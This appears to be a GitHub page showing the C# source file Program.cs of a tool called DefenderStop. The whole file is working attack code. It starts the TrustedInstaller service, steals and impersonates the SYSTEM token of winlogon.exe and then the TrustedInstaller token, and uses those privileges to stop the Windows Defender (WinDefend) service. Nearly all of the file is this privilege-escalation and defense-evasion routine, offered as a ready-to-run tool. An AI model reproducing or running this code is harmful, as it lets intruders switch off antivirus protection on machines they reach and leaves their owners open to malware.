-
Notifications
You must be signed in to change notification settings - Fork 30
/
Program.cs
368 lines (337 loc) · 13.9 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace DefenderStop
{
internal class Program
{
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool OpenProcessToken(IntPtr ProcessHandle,UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public extern static bool CloseHandle(IntPtr handle);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool GetUserName(System.Text.StringBuilder sb, ref Int32 length);
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY = 0x0008;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
[Flags]
public enum SERVICE_ACCESS : uint
{
STANDARD_RIGHTS_REQUIRED = 0xF0000,
SERVICE_QUERY_CONFIG = 0x00001,
SERVICE_CHANGE_CONFIG = 0x00002,
SERVICE_QUERY_STATUS = 0x00004,
SERVICE_ENUMERATE_DEPENDENTS = 0x00008,
SERVICE_START = 0x00010,
SERVICE_STOP = 0x00020,
SERVICE_PAUSE_CONTINUE = 0x00040,
SERVICE_INTERROGATE = 0x00080,
SERVICE_USER_DEFINED_CONTROL = 0x00100,
SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS |
SERVICE_START |
SERVICE_STOP |
SERVICE_PAUSE_CONTINUE |
SERVICE_INTERROGATE |
SERVICE_USER_DEFINED_CONTROL)
}
[Flags]
public enum SERVICE_CONTROL : uint
{
STOP = 0x00000001,
PAUSE = 0x00000002,
CONTINUE = 0x00000003,
INTERROGATE = 0x00000004,
SHUTDOWN = 0x00000005,
PARAMCHANGE = 0x00000006,
NETBINDADD = 0x00000007,
NETBINDREMOVE = 0x00000008,
NETBINDENABLE = 0x00000009,
NETBINDDISABLE = 0x0000000A,
DEVICEEVENT = 0x0000000B,
HARDWAREPROFILECHANGE = 0x0000000C,
POWEREVENT = 0x0000000D,
SESSIONCHANGE = 0x0000000E
}
public enum SERVICE_STATE : uint
{
SERVICE_STOPPED = 0x00000001,
SERVICE_START_PENDING = 0x00000002,
SERVICE_STOP_PENDING = 0x00000003,
SERVICE_RUNNING = 0x00000004,
SERVICE_CONTINUE_PENDING = 0x00000005,
SERVICE_PAUSE_PENDING = 0x00000006,
SERVICE_PAUSED = 0x00000007
}
[Flags]
public enum SERVICE_ACCEPT : uint
{
STOP = 0x00000001,
PAUSE_CONTINUE = 0x00000002,
SHUTDOWN = 0x00000004,
PARAMCHANGE = 0x00000008,
NETBINDCHANGE = 0x00000010,
HARDWAREPROFILECHANGE = 0x00000020,
POWEREVENT = 0x00000040,
SESSIONCHANGE = 0x00000080,
}
[StructLayout(LayoutKind.Sequential)]
public struct SERVICE_STATUS
{
public int serviceType;
public int currentState;
public int controlsAccepted;
public int win32ExitCode;
public int serviceSpecificExitCode;
public int checkPoint;
public int waitHint;
}
public enum PrivilegeNames
{
SeCreateTokenPrivilege,
SeAssignPrimaryTokenPrivilege,
SeLockMemoryPrivilege,
SeIncreaseQuotaPrivilege,
SeUnsolicitedInputPrivilege,
SeMachineAccountPrivilege,
SeTcbPrivilege,
SeSecurityPrivilege,
SeTakeOwnershipPrivilege,
SeLoadDriverPrivilege,
SeSystemProfilePrivilege,
SeSystemtimePrivilege,
SeProfileSingleProcessPrivilege,
SeIncreaseBasePriorityPrivilege,
SeCreatePagefilePrivilege,
SeCreatePermanentPrivilege,
SeBackupPrivilege,
SeRestorePrivilege,
SeShutdownPrivilege,
SeDebugPrivilege,
SeAuditPrivilege,
SeSystemEnvironmentPrivilege,
SeChangeNotifyPrivilege,
SeRemoteShutdownPrivilege,
SeUndockPrivilege,
SeSyncAgentPrivilege,
SeEnableDelegationPrivilege,
SeManageVolumePrivilege,
SeImpersonatePrivilege,
SeCreateGlobalPrivilege,
SeTrustedCredManAccessPrivilege,
SeRelabelPrivilege,
SeIncreaseWorkingSetPrivilege,
SeTimeZonePrivilege,
SeCreateSymbolicLinkPrivilege
}
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
const Int32 ANYSIZE_ARRAY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public uint LowPart;
public uint HighPart;
}
[StructLayout(LayoutKind.Sequential, Pack = 4)]
public struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public UInt32 Attributes;
}
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
public static void get_username()
{
StringBuilder Buffer = new StringBuilder(64);
int nSize = 64;
GetUserName(Buffer, ref nSize);
Console.WriteLine(Buffer.ToString());
}
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
// establishes a connection to the service control manager on the specified computer
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[DllImport("advapi32.dll", EntryPoint = "OpenServiceA", SetLastError = true, CharSet = CharSet.Ansi)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, SERVICE_CONTROL dwControl, ref SERVICE_STATUS lpServiceStatus);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
public static void start_trustedinstaller_service()
{
IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);
if (SCMHandle == IntPtr.Zero)
{
Console.WriteLine("OpenSCManager failed!");
return;
}
Console.WriteLine("OpenSCManager success!");
string ServiceName = "TrustedInstaller";
IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) SERVICE_ACCESS.SERVICE_START);
bool bResult = StartService(schService, 0, null);
if (bResult)
{
Console.WriteLine("TrustedInstaller service started!");
}
else
{
Console.WriteLine("TrustedInstaller service cannot be started!");
}
Thread.Sleep(2000);
CloseHandle(schService);
CloseHandle(SCMHandle);
}
internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
public static bool EnableDebugPrivilege()
{
try
{
bool retVal;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
retVal = LookupPrivilegeValue(null, "SeDebugPrivilege", ref tp.Luid);
retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
Console.WriteLine("SeDebugPrivilege enabled: " + retVal);
return true;
}
catch (Exception ex)
{
throw ex;
}
}
public static void escalate_to_system()
{
//check if SE_DEBUG_Privilege is enabled
/*bool res = EnableDebugPrivilege();
if (!res)
{
Console.WriteLine("SeDebugPrivilege failed");
Environment.Exit(1);
}*/
//impersonate using winlogon.exe SYSTEM token
Process[] processlist = Process.GetProcesses();
IntPtr tokenHandle = IntPtr.Zero;
foreach (Process theProcess in processlist)
{
if (theProcess.ProcessName == "winlogon")
{
bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
if(!token)
{
Console.WriteLine("OpenProcessToken Failed!");
return;
}
else
{
token = ImpersonateLoggedOnUser(tokenHandle);
Console.Write("User after impersonation: ");
get_username();
}
CloseHandle(theProcess.Handle);
}
}
CloseHandle(tokenHandle);
}
public static void escalate_to_trustedinstaller()
{
//impersonate using trustedintaller.exe token
Process[] processlist = Process.GetProcesses();
IntPtr tokenHandle = IntPtr.Zero;
foreach (Process theProcess in processlist)
{
if (theProcess.ProcessName == "TrustedInstaller")
{
bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
if (!token)
{
Console.WriteLine("OpenProcessToken Failed!");
return;
}
else
{
token = ImpersonateLoggedOnUser(tokenHandle);
Console.Write("Trusted Installer impersonated!");
}
CloseHandle(theProcess.Handle);
}
}
CloseHandle(tokenHandle);
}
public static void stop_defender_service()
{
IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);
if (SCMHandle == IntPtr.Zero)
{
Console.WriteLine("OpenSCManager failed!");
return;
}
Console.WriteLine("OpenSCManager success!");
string ServiceName = "WinDefend";
IntPtr schService = OpenService(SCMHandle, ServiceName, (uint) (SERVICE_ACCESS.SERVICE_STOP | SERVICE_ACCESS.SERVICE_QUERY_STATUS | SERVICE_ACCESS.SERVICE_ENUMERATE_DEPENDENTS));
SERVICE_STATUS ssp = new SERVICE_STATUS();
bool bResult = ControlService(schService, SERVICE_CONTROL.STOP, ref ssp);
if (bResult)
{
Console.WriteLine("Windefender service stopped!");
}
else
{
Console.WriteLine("Windefender service cannot be stopped!");
}
Thread.Sleep(2000);
CloseHandle(schService);
CloseHandle(SCMHandle);
}
public static void Main(string[] args)
{
Console.Write("Original user:");
get_username();
start_trustedinstaller_service();
escalate_to_system();
escalate_to_trustedinstaller();
stop_defender_service();
}
}
}